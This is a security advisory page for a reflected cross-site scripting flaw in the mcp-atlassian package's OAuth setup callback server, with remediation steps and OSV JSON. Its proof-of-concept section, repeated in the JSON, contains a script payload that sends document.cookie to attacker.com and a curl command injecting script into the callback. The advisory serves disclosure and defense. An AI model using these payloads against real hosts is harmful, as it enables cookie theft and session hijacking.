CVE-2026-77272: MCP Atlassian Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-g2r2-3j32-j27x
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-77272 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting MCP Atlassian libraries in the PyPI ecosystem. The issue involves reflected xss in oauth setup callback handler. Remediation is available by upgrading affected packages to version 0.22.0.

CVE-2026-77272 at a Glance

CVE Identifier CVE-2026-77272
GHSA Identifier GHSA-g2r2-3j32-j27x
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product MCP Atlassian
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-77272

To remediate this vulnerability, upgrade all affected MCP Atlassian dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-atlassian fixed: 0.22.0
pip install mcp-atlassian>=0.22.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mcp-atlassian

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-77272, inspect your installed packages using pip:

pip show mcp-atlassian

Analyze the terminal output to locate any version of MCP Atlassian in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.0), your application is affected.

Note: The pip show mcp-atlassian command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In MCP Atlassian, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost. ## Details The vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`. **Step 1 -- Attacker-controlled input enters unsanitized:** At line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping: ```python # src/mcp_atlassian/utils/oauth_setup.py:63-66 if "error" in params: callback_error = params["error"][0] callback_received = True self._send_response(f"Authorization failed: {callback_error}") ``` **Step 2 -- Unsanitized input is injected into HTML:** At line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation: ```python # src/mcp_atlassian/utils/oauth_setup.py:124-125 <div class="message {"success" if status == 200 else "error"}"> <p>{message}</p> </div> ``` **Step 3 -- Server listens on all interfaces:** At line 167, the callback server binds to all network interfaces, not just localhost: ```python # src/mcp_atlassian/utils/oauth_setup.py:167 httpd = socketserver.TCPServer(("", port), handler) ``` This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine. **Step 4 -- No security headers:** The response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers: ```python # src/mcp_atlassian/utils/oauth_setup.py:84-86 self.send_response(status) self.send_header("Content-type", "text/html") self.end_headers() ``` ## PoC **Prerequisites:** The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server. **Step 1 -- Craft the malicious URL:** ``` http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> ``` **Step 2 -- Deliver the link to the victim:** Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context. **Step 3 -- Verify with a simpler payload:** ```bash # Start the setup wizard (victim's machine) # uv run mcp-atlassian --oauth-setup # From attacker's machine (or same network): curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E" ``` The response HTML will contain: ```html <p>Authorization failed: <script>alert(document.domain)</script></p> ``` ## Impact - **JavaScript execution** in the victim's browser context during the OAuth setup flow. - While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. - An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint. ## Recommended Fix **1. HTML-escape the message before injecting into the template:** ```python # src/mcp_atlassian/utils/oauth_setup.py import html def _send_response(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.send_response(status) self.send_header("Content-type", "text/html") self.send_header("X-Content-Type-Options", "nosniff") self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.end_headers() # Escape user-controlled content before HTML injection safe_message = html.escape(message) html_content = f""" ... <div class="message {"success" if status == 200 else "error"}"> <p>{safe_message}</p> </div> ... """ ``` **2. Bind the callback server to localhost only:** ```python # src/mcp_atlassian/utils/oauth_setup.py:167 # Change from: httpd = socketserver.TCPServer(("", port), handler) # To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler) ```

CVE-2026-77272 Affected MCP Atlassian Versions

1 component(s)
Fixed Versions:
0.22.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp-atlassian
PyPI
< 0.22.0
0.22.0

References

Frequently Asked Questions

What is CVE-2026-77272?
CVE-2026-77272 is a security vulnerability in MCP Atlassian involving Reflected XSS in OAuth Setup Callback Handler under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which MCP Atlassian versions are affected?
Affected versions include releases prior to 0.22.0 across affected packages: mcp-atlassian.
What version fixes CVE-2026-77272?
Upgrading to 0.22.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-atlassian affected?
Yes, mcp-atlassian is affected in releases prior to 0.22.0. Upgrade your dependency to 0.22.0 or later.
What is the CVSS score of CVE-2026-77272?
CVE-2026-77272 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N.
What CWE is associated with CVE-2026-77272?
CVE-2026-77272 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-77272?
Run the dependency tree command: 'pip show mcp-atlassian'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g2r2-3j32-j27x",
  "modified" : "2026-09-22T20:35:25Z",
  "published" : "2026-09-22T20:35:25Z",
  "aliases" : [ "CVE-2026-77272" ],
  "summary" : "MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler",
  "details" : "## Summary\n\nThe OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost.\n\n## Details\n\nThe vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`.\n\n**Step 1 -- Attacker-controlled input enters unsanitized:**\n\nAt line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:63-66\nif \"error\" in params:\n    callback_error = params[\"error\"][0]\n    callback_received = True\n    self._send_response(f\"Authorization failed: {callback_error}\")\n```\n\n**Step 2 -- Unsanitized input is injected into HTML:**\n\nAt line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:124-125\n<div class=\"message {\"success\" if status == 200 else \"error\"}\">\n    <p>{message}</p>\n</div>\n```\n\n**Step 3 -- Server listens on all interfaces:**\n\nAt line 167, the callback server binds to all network interfaces, not just localhost:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:167\nhttpd = socketserver.TCPServer((\"\", port), handler)\n```\n\nThis means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.\n\n**Step 4 -- No security headers:**\n\nThe response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:84-86\nself.send_response(status)\nself.send_header(\"Content-type\", \"text/html\")\nself.end_headers()\n```\n\n## PoC\n\n**Prerequisites:** The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server.\n\n**Step 1 -- Craft the malicious URL:**\n\n```\nhttp://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>\n```\n\n**Step 2 -- Deliver the link to the victim:**\n\nSend the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.\n\n**Step 3 -- Verify with a simpler payload:**\n\n```bash\n# Start the setup wizard (victim's machine)\n# uv run mcp-atlassian --oauth-setup\n\n# From attacker's machine (or same network):\ncurl \"http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E\"\n```\n\nThe response HTML will contain:\n```html\n<p>Authorization failed: <script>alert(document.domain)</script></p>\n```\n\n## Impact\n\n- **JavaScript execution** in the victim's browser context during the OAuth setup flow.\n- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:\n  1. The server binds to all interfaces, making it accessible from the local network.\n  2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).\n  3. During this window, any crafted request triggers the XSS.\n- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint.\n\n## Recommended Fix\n\n**1. HTML-escape the message before injecting into the template:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py\nimport html\n\ndef _send_response(self, message: str, status: int = 200) -> None:\n    \"\"\"Send response to the browser.\"\"\"\n    self.send_response(status)\n    self.send_header(\"Content-type\", \"text/html\")\n    self.send_header(\"X-Content-Type-Options\", \"nosniff\")\n    self.send_header(\"Content-Security-Policy\", \"default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'\")\n    self.end_headers()\n\n    # Escape user-controlled content before HTML injection\n    safe_message = html.escape(message)\n\n    html_content = f\"\"\"\n    ...\n            <div class=\"message {\"success\" if status == 200 else \"error\"}\">\n                <p>{safe_message}</p>\n            </div>\n    ...\n    \"\"\"\n```\n\n**2. Bind the callback server to localhost only:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:167\n# Change from:\nhttpd = socketserver.TCPServer((\"\", port), handler)\n# To:\nhttpd = socketserver.TCPServer((\"127.0.0.1\", port), handler)\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-atlassian"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/pull/1448"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sooperset/mcp-atlassian"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:35:25Z",
    "nvd_published_at" : null
  }
}